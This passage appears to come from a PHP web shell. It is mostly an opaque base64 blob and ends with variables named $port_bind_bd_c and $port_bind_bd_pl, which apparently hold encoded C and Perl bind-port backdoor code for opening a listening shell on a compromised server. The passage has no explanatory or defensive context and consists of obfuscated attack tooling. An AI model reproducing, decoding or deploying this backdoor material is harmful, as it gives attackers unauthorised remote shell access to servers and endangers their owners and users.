3V5OEJ2WGc5elUveEkvWU44RytJVmt1UEM5N2MrRzdzNUloWW00dHo3WVk3aC8zMGZwWHoxcVg3Tkh4YStCM2lLejhTNkhaalZqWVMrYkZkYU81bEp4MURSRUJ5Q01nZ0tSZ25tdG9RcTRhWE0xcDVIeitZWS9KdUtNSjdDTlZRcUxXUE43clQ3WDJhZXpTYi9CSDN4TFlCU2NEZzFSbXROcHd2SHRXVjhKL2lqWS9GSHd0YjZqNUxXRitwOG05c1pnVmt0cHdQbVJnZWZjWjZnaXUzazA4T3U4QU1QYXZZakpTVjBmaDFhalV3OVNWS3FyU2k3TkhMTkRoRGtkT29xcTl0amtFNHJwWjlNTGlxajJEcWVFQnFqRXdSbUluSnI4NC93Qm9MVVJxSHhvOFd6S2NnWHBpei91S0UvOEFaYS9TVHhCY1I2SHBON3FOMkJIYldrRDNFckhzcXFXUDZDdnluMTNVcGRkMXUvMUtZa3pYbHhKY09UNnN4WS96cnpjYkpXVVQ5VTRDdzhuWHI0aGJKSmZlNy9vVkZrSXA0bElxQXFSU1pJcnlySDdRcWppV3Z0RENtdE94NzFXM21rTEUwdVVicnlzU3M1UEpOUk05QVJtcXhEWXRJUndhZWlNMHFsVjJpaXNxTklhMExQVFdkZ1NPS3YyZWs3Y0ZoaXRBSXNRd29yR1ZUb2ozc0psYitPc1YwZ1czVUFkYVZZeXh6VXdpTEhtcFZqMjFoYytnalI2SmFERWlBN1ZKakE2VTREaWlrZGFnb29aUlFUU0hpZ2xpRTVwckRQTktlbEE2VUdiMUh4clZoUlVjYTFNS1RPMmxHeUVZNHJQdkp3Z1BOV3JpUUtwNXJuTlZ2ZHF0ZzFjSTNaNXVZWXFOQ0RiTTNXTDNPY0dpdWYxTzhMRTgwVjZzS2VoK0tZN00zS3MyZGo5amIwelQxdG1GYkcxTTRvMlJpdk41MmZyQ3krQzZtWXNEanRVeVJPQldnRlFlbFBIbDFMbGM2NFlPSzZsTllXTlRKYk4zcVl6eHIwR2FqZTdQUWNWTjJ6cVZPbERka2dpQzlUaW1QS3FkT2FnTWpTSGlwWXJVc2N0MG85UnFUbTdVME5CZVk0SFNyRU5vRTViazFLRldFZGhWSzkxSllWT0R6UzFlaU5KS25RWFBWZXBOZDNxMnlHdVkxRFUybVlnSGlvNzdVSG5ZODhWUklMbXVxRk8yclBqTXh6U1ZkOGxQWUNUSTNyVmlHR2lHR3IwTUZhTjJQTG9VSE4zWVFRMWVpanhSRkRnQ3JTb0ZHVHdLNTVTUHA4UGgrVkRWWEFxbGUzUVViRlBOT3ZMemJsVXJQSjNISjVOT01lck1jVGlFdjNkTVRHYWRzd00wNVU3bW5FRmlBSzB1ZVdvREFwWWlydW4za3VsMzF0ZDI3RkxpM2tXV054L0N5bklQNWlvZ2dRZTlPUkN6VXJuVEdsOWw5VDlnUGhscXNYam53bm9tdlFETWVvMnNkd0Ixd1dVRWo4RGtmaFhvKzZQVElNWXpJUndCMXI1TC93Q0NmUHhML3dDRWg4Q1huZ3RpVzFQUlpETmI3dTl0STJlUDkxeTJmOTlhKzB0TzBDS3pYN1Jkc0hrNmt0MEZmUzBhbnRLYWtmeVpuV1h5eXZNSzJFa3ZoZW5vOVUvdXNlVy9GcjRWWHZ4WitHSGlmUjJpRFMzZGxKOW1pZnZNbzNSL1Q1MVd2eU51TEJkRm5sdDdtTXdYRUxtT1NPUVlaV0J3UVIySU5mczU0eStMRnBvb2Exc0ZFOC9UNWVncjg4LzIwL2hIZDZ4NXZ4RTA2eUVEcytOVmpnWEFZSDdzNUE3NTRZOThnbnVhNGNiUWRSS2FleCtpY0FjU1U4cHF6d05hRjFVYWNYMmx0YjU2Zk5lWjh3WEd1eFJaQ2tHczJmeEdXemlzOFdxRDd6RW1sOG1JZnc1cngxQ0tQM0d0bU9NcTlWRkhZZkRENHk2ejhLUEdsajRpMGVabG5nTzJXRWtoSjRqOTZOdllqOGpnOXEvU0R3bjhmWWZHL2g2eTFqVDVXa3RMdU1PdVR5aDZGVzl3UVFmcFg1V2xJZjd0ZXpmczNmR2V6K0cydU5wZXRzNThOMzdqekhBeWJTVHA1Z0hkZWdZZWdCSFRCOUhEVmxTZks5bWZsbkZ1U1ZjMXBmV3FkblZndm5KZHZWYnI1by9RT0w0bE9YSWNrODljMU8zeEJNMk1IZ2Q2d2JmdzVaYXZadzNlbTNrTjNiU3FKSTVZbURLNmtaQkI3MW4zbmhhNnRnUU53WDFGZTJmZ2pUVHN6dG8vR2FYS2VXN2JrWUVFRTlSWDVmV1BnMjk4UmZGRi9DTmdNWFV1cFNXYXMzUkFISUxIMkFCSjloWDN5MXRjMjdZR2VLOGgrRTN3eHVQRC93QVVmRjNqTFVJdktlNnZiaU93alljaU5wRHVrOXQzUWUyZld1TEVVZmF1S1B1T0dzNi9zYWxpcWllcmlyTHZMVzM1M2ZrZlR2Z3F5MDd3RjRWMHZ3OXBvS1dXbndMQ25xeEgzbVB1eHl4OXlhNkY5ZVdSUGxibjYxNWJGcThyVFpESE5YQnJEbmpQUDFyc1NTVmtmRlZLa3FzM1VtN3R1N2ZkczcxZGEzWndTTUhrbXAwMUZIamJmMHJoWTlUTEFEZHpWMks5TEtRVHdQZW1ablNHM3R2TWtuRWNZZVRBWndNTXdIVEovR3BMYWVXM1k3SHluOTAxZ3BkT3VQbnpuc2FuVFVHSjI3aDlhQU9zaHZJWkNSSU1FZCsxVzAwNUxrWmpJUDBybG9ML0FNMGJTT1IzOWEwN1Mra1FEWVN0QUh6NSszSDhRNC9CM2dlSHduWnkvd0RFMjEwWm1Dbm1LMUI1Si8zMkcwZXdldmdBMkpKNlY3TCsxVjQ5aThaL0hYeERjeFNtNHRiUXgyRWJBNVVHSkFyaGZiekE1L0hOZVpRTkhOMFA1MTh6aWFzcDFHK2gvV2ZDR1MwTUpsVktIMjVwU2wzdTF0OGxaZkl4VFlObnBRTk5adXhycEZoVTloVW9pVWRoWEg3Um4zaXllRXQyY3d1a08zYXJFV2hzeDVHSzZOWWhUdG1PMUoxV2RVTWxvTFZtUERvcUw5NFZianNraTZMVjNITkxzck55YlBUcDRLbFQrR0pVOHZQRkFpR2FzbEtUYUtMbXZzVjFJUEw5cUN1S2xLMHhxTGt1Q1JHYWFlYWUzV200cG5QSkRDS1lha0l6VVo2MHpDUW5lbFFaTkNqbXBvMG9DRWJzZWdwenR0RktPQlZPK3VoRWg1cGJuVlVtcVVISmxEVkx3S3A1cmp0VjFEY1NNMWQxalV1V3dhNVc1bk1ySG12U28wK3JQeDNQczE1NU9FR1FYRXBrZkFvcFVqN21pdSs2V2grZE9EbSthUjZrSkNldFAzbW9xY29yeExIOUF4a3lUZWZXbmJqNjB4UVdxZExjc2FUc2RNRktXeEdEbXBFZ0xubXJNZHNCak5XQXFvS3piTytuaG05WkVVTnNFSFNuU3lyRXRRM1Y4a0lJeU0xZ1gyck01SUJxb3hjalBFNDJqZzQyVzVjMURWZHVWQnJBdUx0cFNlVFRKSldsYnJta1dJbXV1TUZFK0R4V05xNHFXK2cwS1dxeEREVDRvTW1yMEZxZlNtNVdKb1laemV3MkNEcFY2S0RnY1ZKRGE0NjFLOGl4REE2MXpPVjlqNm1qaGxUamVRWVdOY21xTnpkbDhoZUtXZVF5RTVQRlZ0cHB4WGN5cjEyL2Rob2lNcVdPYVZVMjlha0lBcHA1TmFYUE41RW5jVEJZNHFaWXdpNU5PaWl3TW1nL08yS2xzNkl3dHE5eG9HODFaaGhMa0tCU3hRNElBR1NhMUxlM1dGTW5yV2NwV1BVdzJGYzNkbnBuN04veGNmNENmRS9UUEU1amE0c0FEYmFoQW4zcGJkOGJzZTRJVmg3cUsvUjNYZmpaYWVQdEp0Ymp3dmVKZGFYZVJoNDdtTThNcC9VRWRDRHlDTUd2eCsxclV5VDVVWit0ZTdmc2kvRzVQQk9ydDRVMW1ZSnBPcFM1dHA1RHhiVG5qQlBaVzRIc2NIdWE5UEJWWFQ5Mld6UHlUeEJ5YWxtUCsxNE9QN3ltck8zMm9yOVYrSzA3SDNKYldxUVNiaisrbmJrazg0cTVlV01PcDJVMXRlUnBjVzh5R09XS1JkeXVwR0NwSGNFVXRqYitYSG5HU2VwcWQzMnFUMHhYdkg4NXB0TzZQem4vQUdrUDJmN3I0UjY4OS9wMGNseDRXdkpEOW5tNm0zWTgrVTUva1QxSHVEWGlUdmpOZnEvNG9zTERYOUx1OU8xTzJqdmJLNVF4eXdTcmxXWC9BRCtWZkJYeDIvWnUxRDRmM0Z4cTJnSkxxWGh3a3N5Z2JwclFlai8zbC8ydno5VDQ5ZkRPRDVvYkg3Znc5eFhIRjA0NFRHdTFSYUo5SmY4QUIvUDFQRHk5UnMzNDAxbXdUbW8yY0R2WEhZKzVsVTduc2Z3Uy9hTzFqNFZTeDZmZEdYVXZEek5rMndiOTVCbnEwWlAvQUtDZUQ3ZGErNHZBSHhwMHJ4dHBhM21sWDBPcVd1QnZRbkVrUjlIVThxZnJYNWJtVDBxOW9uaVBVdkRlb1IzMmxYMDloZHA5MmFCeXJmUTQ2ajJOZGxLdktubzlVZkNaeHc3aHN4azYxSjhsVHYwZnF2MVg0bjYzMjF4cE90ZktyQzNtUDhMMVcxTHdlNng3MFVPUFVWOEZlRHYyd3RkMHRZNGRlMCtIVmtYajdSQWZJbC9FQUZUK0FGZTUrRHYyNC9DMGFJdDNQZTJhOURGZDI1ZFIrS1pyMEkxNmN1cCthWWpoL01jTTdleTVsM2pyL3dBSDhEMlNmUlpiYzRDL1dxY3RyS2h5RnJqdkVmN2Ivd0FNN1MzZyt6UVh1c1hVbjMwczQvTFZQcTBtUDB6WEk2aCsydDRXYU5tdGZER3FTTmpJVjVZbEg1Z24rVkR4RktMczVGME9HYzR4TUZVcFllVFh5WDROcG5yMFR5UmtaR0RVdDVyZHJvMW5QZVg5MUZhV2tTN3BKcG5DSW85U1R3SytYdGIvQUd2dkVldnpyWmVHZkNzRUZ4S2RzWWtaN3FVbjJWUXZQNEd0cndyOEF2SHZ4VDFPMjFuNG8zMXpGcGtaOHlMUnkyeG45aWk0V01ldjhSOXV0UXNRcHUxTlgvSTZxbkRsYkF4OXJtYzFTajJ1bkoraVgrZWg2NTRVOGZ5L0ZMVkpKZEpXV0R3bGFQc04rNmxXMUdRZFVqQjVFWTd0MWJvTUROZWtpY0lPY1lOWkZobzhXbFdzTnBhd1IyOXRBZ2pqaWpYYXFLT2dBSFNySVYxeHU1WFBldW1LYVd1NTh4aUtrS2svM1VlV0syWFgxYjZ0OWZ3ME55eW4ybmQxUHBYSC9IejR0eC9DMzRaNmhxTWNnWFZic0cwc0VCNTgxZ2ZuK2lqTGZnQjNyb0RlcFp3U1RTeUxGREdwZDNjZ0txZ1pKSlBRVjhCZnRIL0dEL2hhM2piTmxJemFIcG9NRm1Ed0pEbjU1TWY3UkF4N0FWejRpcDdPR203UHBPR2NwZWFZNlBPdjNjTlpmb3ZtL3dBTG5tWmxNckZuWXM3SEpZbkpKcVFFZ2dxeEgwcWlqVllTVEhldm5taituNlZSR2xEcVVzSkc4YmhXbGI2aEhNQmc0UG9hNS96c2pGT1Z4bmc0TlpPQ1o3VkRIMUtUdGU2T3BFdWFjSHpXQkJmdkhnRTdxdlE2Z3JFQThHc1hGbzkramo0Vk4zWTB1OU9xQkpndzRQRlNxd3FHajFJelQySG1rSXBhS2sxYXVSc0tqSzFPUm1tYmNWU1pqS0pEdHBwRlRNS1lWcWpubEFnY1ZHVk5XQ21hRmpwM09aMDIyUnBIVXlydEZLQUZxQzV1bGhVa21sdWFlN1NqZVF0eGNMRXBKTmNwcldxamtBMDdWOWE0SVUxeVY1ZU5PNTVydG8wdXJQenJQYzdTVHBVbVJYdDBaWEl6a1ZVRWVPVFUyd0p5ZXRSdGxqWHBMUldSK1ZWVzV5NXA3aldQUHRSUzdjVVU3blB5dG5xS1FrOXFzeFdoUFdyeXdLdEtTcWRTSzhGeVA2VmhnNHcxa1F4Mm9GVEJBb3FDYStTUHZXWmRhMWdFS2FGRnlDcGljUGhscXpXbHVVaEhKRlpWN3JJVUVMV0xjNmswakg1cXB2S3ptdWlOTHVmTVl2TzVTdkdrV0xxL2FVOG1xbUdjL1dueHdsdW96VnlHMEp4eFcra1Q1dmxxNG1WNUZlT0RQYXJrTnFTZWxYSUxMMnE3SENrWTU2MWpLWjdtSHkvcklyUVdlTWNWY1NOSXV0RFNEdFVSZXNkV2UzQ01LUHdrank1NEhBcUJqbWhwQlVUU0FWU1JsVXFYM1lPQlVURUFVTSthais4YXV4NTg1TG9CeXg0cWFHRFBKcVNHMzZFMUs1QzhDazMwUnRUbzI5NlpFNTdDcElvOWc1KzhhSVk4NVk5TzFXN2FIekd5YWx1eDJVcVRuSzVOYTIrMzVqVU9xM3d0NFNBZVRWeVp4REhucHhYSzZqZEc0bUl6eG1wZ3VaNm5WajhRc0hRNUlic3JnbVJ5N2M1cHk1TFpIQm9VWVhGUGpYbXVvK01qRzU5dmZzcS90TlI2OWFXbmczeFZkQ1BWb2dJOVB2NW00dWxIU055ZitXZzdIK0ljZFI4MzBwcVY2TGRUenlhL0pFeXRDd2RXS3NweUdVNElOZlUzd0wvYXlFOGR0NGY4Y1hPSkZBanR0WWtQRGRnc3g3SC9BRy96OWE5VERZblRrbjk1K1BjVThLOGs1WTNMNDZQV1VWMDg0L3F2dTh2cUs5dUMrU3g2MWhhbmRwR21PR0I0SXEyOXdiMVFZeUdWdVZaVGtFZTFXclB3NEpodW1HZStLOVEvSWo1cStLSDdNK2orTnA1YjdRbEdnNm0rV1pVVE52S2ZkUjkwKzYva2ErY1BHUHdMOGJlQ1dkdFEwUzRsdFYvNWU3TWVkRVI2NVhsZitCQVYrblVlaHhJdkVZeVBhbVRhWXVPSStQcFhMUER3bHF0RDZ6QWNTNDNCcFU1dm5pdWozK1QvQU03bjVHbUZsSkJHQ091YVFJUlg2ZjhBaWo0TytFL0Z4ZHRXOE8yTnpJM1dZd2haUCsrMXczNjE1WnJYN0lIZ0s2a2J5SUwrd09lbHZkRWovd0FmRFZ5dkN6V3p1ZlkwT0xzRE5mdllTaS9rMStuNUh3bnROUFVIdlgyZTM3R0hoSGZrYWxxNEhwNXNmL3hGYkdsL3NpZUFiRXEwOE45ZnNEbkU5eVFQL0hBdFI5V3FNNjN4WGxrRmRPVCtYK2JQaHhWSkl4eWE5TytIUHdQOGIrT1pFZXowOTdDd09NM21vZ3hSWS8yUVJ1Yi9BSUNEWDIxNGIrRlBoUHdvRUdrK0g3RzFrSFNVUWhwUCsrMnkzNjEyQXNRaURqazloV3NjR244YlBIeEhHOVNQKzQwK1Y5Mi8wWCtacC9DeUx3bjRGMERUOU5qOFBXRmxjUVFKRE5mV2x1cVNUTUZBWjJiN3h5Y25rbnJYcEMyZWo2dW02MnVFSkkrNjNCcnlxSzEyL2VIRldvaThSQlZpcDlqWG9wS0tzajgxclZxbUltNnRXVGNudTJkemVlRUFDU2dERDFXdWUxalI0ZEl0TGk2dkpvclcxaFF5U1RUTUVSRkhVa25nQ3FjdmpPYlFMU2E3dTc1TGF6aFV2Sk5jT0ZSRkhVa25nQ3ZoMzlxVDlwZWI0dGEzRnBPajNjNDhNV1F3UU1vdDNMbm1RanVvR0F1ZmM5NndyVmxTamZxZTVrbVRWYzV4S3BSZkxCZkZLMTB2K0MraUx2N1IzN1I2K0xVdWZDL2hTVjEwVW5aZDZnTXFidkg4Q0R0SDZucTNzT3Z6Y0ZLMU9ad2M4VXd5RDJydzUxSlZKYzBqK2lNQmxtRnl1Z3FHR1ZrdXZWdnUvTVFaRk9EVkd6aWplS2l4Nktra1RoeUR6elVxeUFHcVpseFI1MkJTc2F4ckpGOFM3VG1wQk9HNzRyTzgvaWhaZmVwNVRvV0t0c2JscmViQ0FXclVndkZZY211VVc0cVpMd3FCeldVcWR6Mk1QbWJwNk03QlpsUGVuaHg2MXkwZXBNUDRxbmoxWWpxYXlkTm52VTgzcFBjNlBJTkhCckRYVnZVMDhhc01kYWprWjFyTXFNdXBya0NrSUdLeVRyQUhlbVByS2dkYWZJeVpaaGgrNXJFcUtqZVpVSEpBckJuMTBBSEJyTHU5Y2RzNE5hUnBObms0ak82RkphSFFYdXNSd0tmbTVybDlUMXhwU2NIaXFOeGRTVFp5ZUt6NUpBT3B5YTdLZEZJK0F6TFBLMkl2R0xzaHR4TTh6SEpPS3JzZHZUbW5NNWI2VTBybXV0SHhGU1RtN2tmSjY4MG9XcEFoTlBXRW50VHVaS20yUTdUUlZ5TzF6Mm9wY3gwUndzbjBQUVp0YkdPT0t6cDlZWnllYXlHbkxkNlprc2E0VlRTUDBhdG0xZXIxTGMxKzdrODFXYVF1ZXRDeE0zdFV5VzNyV21pUE1icTFuZGtDeGxqVm1LMUxkcW5qaVZSelV3bVZPbFE1ZGpycFllSzFteDBObUZBSnEwbXlNY0NxZjJqM3BQUHJOcHM5U0ZXblRYdW92L2FPS1F6KzlVUE9vODZseW1uMXRzdW1lbW1ibnJWVXVjMGMwN0V2RU5relNacG00MG1La2lpTEduc1N1YWJzSWlselZ5M3RlaElxYTJ0UUJrMVljaU1WaktYWTllaGhWRmM4eUtYRWE0QnFxRk1qMCtWaTdVOVYySUIvRWFGb1hMOTVMeVE2T1B6R0NyMEZhTWFDTmFpdElkZ3pUcnVZUm9lYXpidWVyUmdxTVBhU00zVjd6YXBVR3NCUnVZazFQZlRtYVU5NlpFbkZkY1Z5bytKeGRaNG11MzBRdUtsUVlHYVFKelNUTnRYSGVqY3pTNVZ6TWduazNNUjJxSGFXTlNGY2lueHB6V214eE5PY3RUMWY0UDhBN1JIaVQ0VnZEYXNSck9ocWVkUHVtT1l4L3dCTTM2cDlPUjdWOXMvQ3o0L2VDdmloSEhGcCtvTFk2b3crYlRiNGlPVUgwWHMvL0FTZm9LL05SdW1LV0ptUnd5a3F3NUJCd1JYUlN4TTZmbWo1WE5lRThCbWJjNHIyZFQrWmRmVmJQOEg1bjYvQzIrWEZNaTA5cmlVTGl2emk4QS90UmZFSHdDc2NFR3NIVnJCTUFXbXFBenFCNkJzaHgrRFlyNkM4Ri84QUJRSFNsS2Y4SkQ0VHU0SlJ3MG1tenJLcDk5cjdjZm1hOUNHTXBTMzBQekhHY0VadGhuKzVpcWkvdXZYN25iOExuMUxlZUY1UEpKMmRzNUZjZnFXa09qNUtrVm1hUiszejhKNzJKWTdtTFhMYlBCYVN4VWdmOTh1VFdpLzdVdndSMWxUdThWUGF0MkUybTNRL1VSbXRsaUtMKzBqeFo4TTUzQlhlRHFQMGkzK1NabHkyanF4SldpS0Z1Y2pCcVM2K05Yd2V1VnpiK09iSWtkcExlNFQvQU5DakZZZDk4YXZoakFjcDQwc0g5TnNjeC9rbFY3YWwvTXZ2Unh2Sk0xV2p3dFQvQU1BbC9rZFJGRUF3eU1tclNSYmxPVjVOZVlYL0FPMHI4TmRKalp6NGpGMFFPRXQ3T2RtUDArUUQ4elhtbmkzOXVUVExaSkl2RGZoKzR2SmVpM0dwT0lrSHZzVXNUK1lxWGlLVWZ0SFRRNGR6YkVTNVk0ZVMvd0FTNVYvNU5ZK21QSXczemNEcm12SlBpZCswdDRQK0hIbTJzTS85dmF3bVI5anNuQlZEL3R5ZEYrZ3lmYXZrYng5KzBINDQrSWF5UTMrcnZhV0w5Ykt3SGt4RWVod2N0L3dJbXZOK2E0cW1NYjBwbysveXpnVlJhcVpqTy84QWRqK3Ivd0F2dk85K0tYeHU4VC9GaTdQOXFYZjJmVFZiTVdtV3hLd3A2RWorTnZkcysySzgrMmdmV3BjY1V4aGozcnozSnlkNUg2aFF3dEhDVTFTb1JVWXJvaG5UM29JR0tSalRDYVJUYVF1Mm1ra1V1NmtKNE5Vakp0ZEF6Um5OUnRubW1Fa0NneGM3RS84QUtscXQ1ckR2UjlwWWU5T3pKOXRGYmxnc2MwN2VSVlQ3V1IybysyZjdORmgrM2d1cGI4NWw3MG91V0I1cW45dUg5Mmo3YUNQdTB1WHlENjFIK1l1L2JENjBqWHJmalZMN1lPdXlrYTk5RkZISjVBOFl2NWk0YnFRakFwck5LM1U0cW1iMlFqakFxRjVwSDZzYXJsTUpZdGQyeTVJNFQ3ejFWa3UxSDNSbW9TaGJyU0dHclVVY0ZTdlVsOEtzTWttZVR2Z1ZHc1pOV0JCVWl3K2xYZEk0L1pTbTd5S2dpSjdWS3R2bnJWdExjbnRWbU8xNmNWRG1kZFBCdVhRcFIydWUxV0lyWG5wVjliY0tPQlNoQU8xWk9kejFxZUNVYlhJRmdDOXFLbmJBR2FLVnpyNUlyUWdXTHVhbVJGRlZoTm1sTTlPeGxHY0k2bHNPcWppZ3kxUzgzSnAyOG1wc2FmV094YU0xSjV0UXJrMG9GT3hYdEpNbEVtYWNHelRBdWFrQ1V0RFdQTXdHYWVxa21sU1BQU3JNY0pOUTNZN0tkTnlJZ2xUSkVXcTFIYkRISXExRmErMVpPVmoxNldEY2luSGJaeHhWNjJ0UU1aRlRMQUJqdFZoVkNpc25LNTdkRENSaTdzaktoQlZTZDhuRldKNWRvTlZNR1JxU0tyeSt6RVNOT1N4NkNwNEkvTmZkamltT01BUmo4YXYyOFlqUVVOaW9VdWFWdWlIbkVhMWhhdGQ4RUExbzM5eUkwTmN6Y3pHV1E4MWRPTjNjNDgxeGFoSDJVU05mbmFyU3J0RlJRUjU1cXpqaXVocytab3dkcnNad295ZWxWbmJjMmFsbWJKeDJxRnFFVFZkOUVBNXFXTVlxTUR2VXk4Q2hrUVd0eHA2MHFqQnpTWXpTcm1nMFc1S3ZKcXhFdURVQ0NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6